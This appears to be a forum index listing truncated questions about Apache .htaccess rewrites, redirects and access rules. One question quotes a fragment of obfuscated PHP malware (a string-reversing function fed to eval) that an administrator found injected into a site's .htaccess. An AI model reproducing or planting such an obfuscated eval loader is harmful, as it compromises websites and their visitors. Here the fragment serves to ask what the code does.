.htaccess

.htaccess file for Uploading a Zend Framework Project on 1and1

The problem I have is that I am trying to put a Zend Framework web application online and while it works perfectly on my localhost, it has a lot of errors online. I know that there are certain things required for a Zend website to work. I need the document root to be serwano.com/staging/fbr I need php5 I need mod rewrite on I need t...

block access to AJAX directory with .htaccess

I have a directory "AJAX" that has all my well AJAX content it is unformatted and ugly if you hit the pages directly. How do I stop someone from hitting http://www.site.com/AJAX/page1.php with the .htaccess file? ...

restrict direct linking to AJAX pages in a certain directory

I don't want to allow people to go directly to the pages in the AJAX directory but they still need to be served from their parent page. I have tried numerous .htaccess lines but they all block it from the main page as well. to sum up, I dont want people to be able to type in http://www.mysite.com/AJAX/page1.html and view it but page1.htm...

How to remove a ? from a url with htaccess using 301 redirect

Hi there, I need an htaccess 301 redirect for dynamic urls going from this url: http://www.example.com/index.php/?content/page1 to http://www.example.com/content/page1 My current htaccess rule is: RewriteBase / RewriteCond %{HTTP_HOST} !="" RewriteRule ^index.php(/.*)$ http://%{HTTP_HOST}$1 [R=301] the problem is I get ur...

redirecting users if server is overcrowded or busy using php?

is it possible to use php to redirect users to page i.e. busy.php when the server is busy or overcrowded, or something similiar? thanks :)) ...

Force https to http with .htacess except payment folder

Hello guys, I am redirecting my site from http: to https: when it is in payment folder , and its working . But i Want to further redirect to Except PAYMENT folder http: from https so is there any option in htacess that forced to redirect to http:// Thank in Advance..... ...

RewriteCond thinks existing file does not exist

I want to achieve my /assets/img urls are rewritten to a specific location when that file exists, but otherwise to a php script. Therefore I have these rules: RewriteCond %{DOCUMENT_ROOT}assets/img$1/.$2.$4/$3.$4 -f RewriteRule ^assets/img(.*)/([a-zA-Z0-9-_\.]*)\.([^/]+)\.([a-z]{2,4})$ assets/img$1/.$2.$4/$3.$4 [NC,QSA] RewriteRule ^ass...

.htaccess redirection

Hello, My domain is http://www.somename.com. I want if an user type {path to website}/index.php, it should redirect him to {site name} basically I want to remove that index.php from the URL. and one more thing, it should work both for {www.sitename} {sitename} any idea is greatly appreciable. Thanks in advance. ...

Rewriting problem with .htaccess (removing /index.php from CodeIgniter URLs)

I have a small issue with some .htaccess rules on our website - http://www.presencemultimedia.co.uk We've recently re-built the website using CodeIgniter. To use nice URLs I've added some lines to our .htaccess file as below : RewriteEngine on # CodeIgniter rules (forwards requests to index.php) RewriteCond $1 !^(index\.php|images|rob...

Redirect to non-https pages

Hi, I have come accross many solutions similar to what I need but I have tried changing them and have had no luck, it seems to be ignoring them sometimes and not other times. Essentially I have a site which I need to have https on only on certain pages or all php pages if that is easier but not for friendly urls e.g. /womens/skirts/ S...

What does function s37 in htaccess do?

Found a code this morning encoded under several layers attached to a website I administer's .htaccess. The code reads as follows: function s37($s){for ($a = 0; $a <= strlen($s)-1; $a++ ){$e .= $s{strlen($s)-$a-1};}return($e);}eval(s37(';"ni"=73c$;"ptth"=73h$;"stats"=73z$'));eval(s37(';]"TNEGA_RESU_PTTH"[REVRES_$=3au$'));eval(s37(';)"re...

.htaccess mod_rewrite Convert file to php and don't show filetype

Given a set of URL as follows: http://site.com/filename.html http://site.com/filename.htm http://site.com/filename.php http://site.com/filename Using the mod_rewrite module in .htaccess, how can I make it request the file at http://site.com/filename.php and show the URL http://site.com/filename ...

301 redirect .htaccess

Hi, I got a question. How do I 301 redirect, for exemple: a subdirectory /Blog/ to /blog/ with .htaccess? Thanks ...

rewriterule in htaccess to match certain file extensions

How can I look for an instance for certain file extensions, like .(jpg|png|css|js|php), and if there is NOT a match send it to index.php?route=$1. I would like to be able to allow period's for custom usernames. So, rewrite http://example.com/my.name to index.php?route=my.name Current setup: .htaccess: <IfModule mod_rewrite.c> Rewrit...

How to hide awstats url parameters

Hi all, currently in order to access statistics on my site I access this link: www.mysite.org/awstats/awstats.pl?config=awstatsconffile.org all is working fine, but what I want to achieve is simply this: www.mysite.org/stats/ I've created the "sites" directory and inside I've created the .htaccess file but without success. Any idea...

.htaccess : some rewrite rules case to solve...

I have 2 little cases in htaccess rules that I have to solve, .... with your help... :) The first one is that: I Have a subdomain on clientWebsite in there is an htaccess file and an folder like that: .htaccess uploads 2010 mwdia1.jpg media2.jpg The .htaccess file contains: RewriteEngine on RewriteCond %{HTTP_HOST} hello.clie...

Strange problem with .htaccess

I'm having a really strange issue with .htaccess - I'm trying to rewrite the domain so it always prepends www to the domain when loaded - this works for about five minutes and then just turns the page blank!? .htaccess: RewriteEngine On RewriteBase / RewriteCond %{HTTP_HOST} !^www.thedomain.co.uk$ [NC] cRewriteRule ^(.*)$ http://www.t...

apache 2.2 (ubuntu) won't let me set php error reporting via .htaccess!?

hi there! i have a problem with my server which is running ubuntu (debian) linux and apache 2.2/php 5.2 as this is mainly a productive server, display_errors is turned OFF in the php.ini for development purposes, i want to enable these error reporting stuff for certain domains. but when i set php_flag display_errors on in the .htacc...

RewriteRule question

RewriteRule oferte-cel-mai-bun-pret(-(apartamente|garsoniere|case|vile|birouri|spatii-comerciale|spatii-industriale|mini-hoteluri-pensiuni|ferme|proprietati-speciale|terenuri-intravilane|terenuri-extravilane))?(-(([0-9+])-([a-z-+]+)+))?-(vanzare|inchiriere)/([a-z-+]+)(/pagina-(([0-9]+)+))?(/)?$ index.php?seo[]=anunturi&tip_categorie=$2&n...

htaccess rewrite question

Hi all, I need to redirect incoming requests for a page to a subdirectory whilst keeping the URL displayed as originally typed. This is to manage language pages easier. For example, I want Spanish pages to be under www.mydomain.com/es. I want the URL displayed to remain www.mydomain.com/es. But the actual page is held here - www.mydo...